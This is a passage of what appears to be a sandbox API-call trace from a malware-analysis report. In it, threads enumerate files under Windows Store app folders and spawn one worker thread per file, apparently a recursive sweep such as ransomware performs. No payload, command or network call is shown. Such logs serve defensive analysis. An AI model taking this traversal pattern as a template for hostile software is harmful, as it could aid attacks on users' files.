	[0093.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4718eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90
	[0093.576] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x253fa33c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2542059f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2542059f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x69200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonPicture.UAP.dll", cAlternateFileName="")) returned 1
	[0093.576] wcscmp (_String1="PersonPicture.UAP.dll", _String2=".") returned 1
	[0093.576] wcscmp (_String1="PersonPicture.UAP.dll", _String2="..") returned 1
	[0093.576] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x254467f4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x254467f4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x254467f4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4f118, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.576] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0093.576] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0093.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c360
	[0093.576] wcscpy (in: _Dest=0x4f2c360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.576] wcscat (in: _Dest=0x4f2c360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.576] wcscat (in: _Dest=0x4f2c360, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0093.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2c360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c
	[0093.577] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x254467f4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2546ca56, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2546ca56, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.dll", cAlternateFileName="")) returned 1
	[0093.577] wcscmp (_String1="StoreRatingPromotion.dll", _String2=".") returned 1
	[0093.577] wcscmp (_String1="StoreRatingPromotion.dll", _String2="..") returned 1
	[0093.577] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25492ca6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x25492ca6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x25492ca6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.winmd", cAlternateFileName="")) returned 1
	[0093.577] wcscmp (_String1="StoreRatingPromotion.winmd", _String2=".") returned 1
	[0093.577] wcscmp (_String1="StoreRatingPromotion.winmd", _String2="..") returned 1
	[0093.577] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e441a0
	[0093.577] wcscpy (in: _Dest=0x2e441a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.577] wcscat (in: _Dest=0x2e441a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.577] wcscat (in: _Dest=0x2e441a0, _Source="StoreRatingPromotion.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd"
	[0093.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e441a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30
	[0093.578] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25492ca6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafe15ed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x25492ca6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings", cAlternateFileName="")) returned 1
	[0093.579] wcscmp (_String1="Strings", _String2=".") returned 1
	[0093.579] wcscmp (_String1="Strings", _String2="..") returned 1
	[0093.579] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481a250
	[0093.579] wcscpy (in: _Dest=0x481a250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.579] wcscat (in: _Dest=0x481a250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.579] wcscat (in: _Dest=0x481a250, _Source="Strings" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Strings") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Strings"
	[0093.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x481a250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1310
	[0093.579] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249c5573, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafd6f1ac, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x249c5573, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0093.579] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0093.579] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0093.579] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2d6e0
	[0093.580] wcscpy (in: _Dest=0x4f2d6e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.580] wcscat (in: _Dest=0x4f2d6e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.580] wcscat (in: _Dest=0x4f2d6e0, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\_Resources"
	[0093.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2d6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144
	[0093.580] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249c5573, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafd6f1ac, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x249c5573, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0093.580] FindClose (in: hFindFile=0x2d71340 | out: hFindFile=0x2d71340) returned 1
	[0093.581] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e273f8) returned 1
	[0093.581] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986da0) returned 1
	[0093.581] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986860) returned 1

Thread:
	id = 832
	os_tid = 0xd24

	[0079.740] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7de08
	[0079.740] wcscpy (in: _Dest=0x2d7de08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe"
	[0079.740] wcscat (in: _Dest=0x2d7de08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.740] wcscat (in: _Dest=0x2d7de08, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\*"
	[0079.740] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e27660
	[0079.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x248ba4f4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d713c0
	[0079.742] wcscmp (_String1=".", _String2=".") returned 0
	[0079.742] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x248ba4f4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.742] wcscmp (_String1="..", _String2=".") returned 1
	[0079.743] wcscmp (_String1="..", _String2="..") returned 0
	[0079.743] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24952e62, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24952e62, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24952e62, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.743] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.743] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d388
	[0079.743] wcscpy (in: _Dest=0x477d388, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe"
	[0079.743] wcscat (in: _Dest=0x477d388, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.743] wcscat (in: _Dest=0x477d388, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b14
	[0093.558] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x248ba4f4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafe6e80a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x248ba4f4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.558] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.559] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.559] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47180e0
	[0093.559] wcscpy (in: _Dest=0x47180e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe"
	[0093.559] wcscat (in: _Dest=0x47180e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.559] wcscat (in: _Dest=0x47180e0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0093.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47180e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c
	[0093.559] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24952e62, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x249790bc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x249790bc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.560] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.560] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.560] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12758
	[0093.560] wcscpy (in: _Dest=0x2e12758, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe"
	[0093.560] wcscat (in: _Dest=0x2e12758, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.560] wcscat (in: _Dest=0x2e12758, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e12758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b30
	[0093.560] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd61ded48, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.560] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.560] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.560] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491bc18
	[0093.560] wcscpy (in: _Dest=0x491bc18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe"
	[0093.560] wcscat (in: _Dest=0x491bc18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.561] wcscat (in: _Dest=0x491bc18, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x491bc18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d0
	[0093.561] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd61ded48, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0093.561] FindClose (in: hFindFile=0x2d713c0 | out: hFindFile=0x2d713c0) returned 1
	[0093.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e27660) returned 1
	[0093.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7de08) returned 1
	[0093.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddbf48) returned 1

Thread:
	id = 833
	os_tid = 0x448

	[0079.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7ec98
	[0079.743] wcscpy (in: _Dest=0x2d7ec98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0079.743] wcscat (in: _Dest=0x2d7ec98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0079.743] wcscat (in: _Dest=0x2d7ec98, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\*"
	[0079.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e27b30
	[0079.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x367c081d, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaff5073a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37eb3642, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71400
	[0079.745] wcscmp (_String1=".", _String2=".") returned 0
	[0079.745] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x367c081d, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaff5073a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37eb3642, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.745] wcscmp (_String1="..", _String2=".") returned 1
	[0079.745] wcscmp (_String1="..", _String2="..") returned 0
	[0079.745] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36abb656, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x36abb656, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x784, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="APPXBL~1.XML")) returned 1
	[0079.745] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.745] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e3b930
	[0079.745] wcscpy (in: _Dest=0x2e3b930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0079.745] wcscat (in: _Dest=0x2e3b930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0079.745] wcscat (in: _Dest=0x2e3b930, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3b930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314
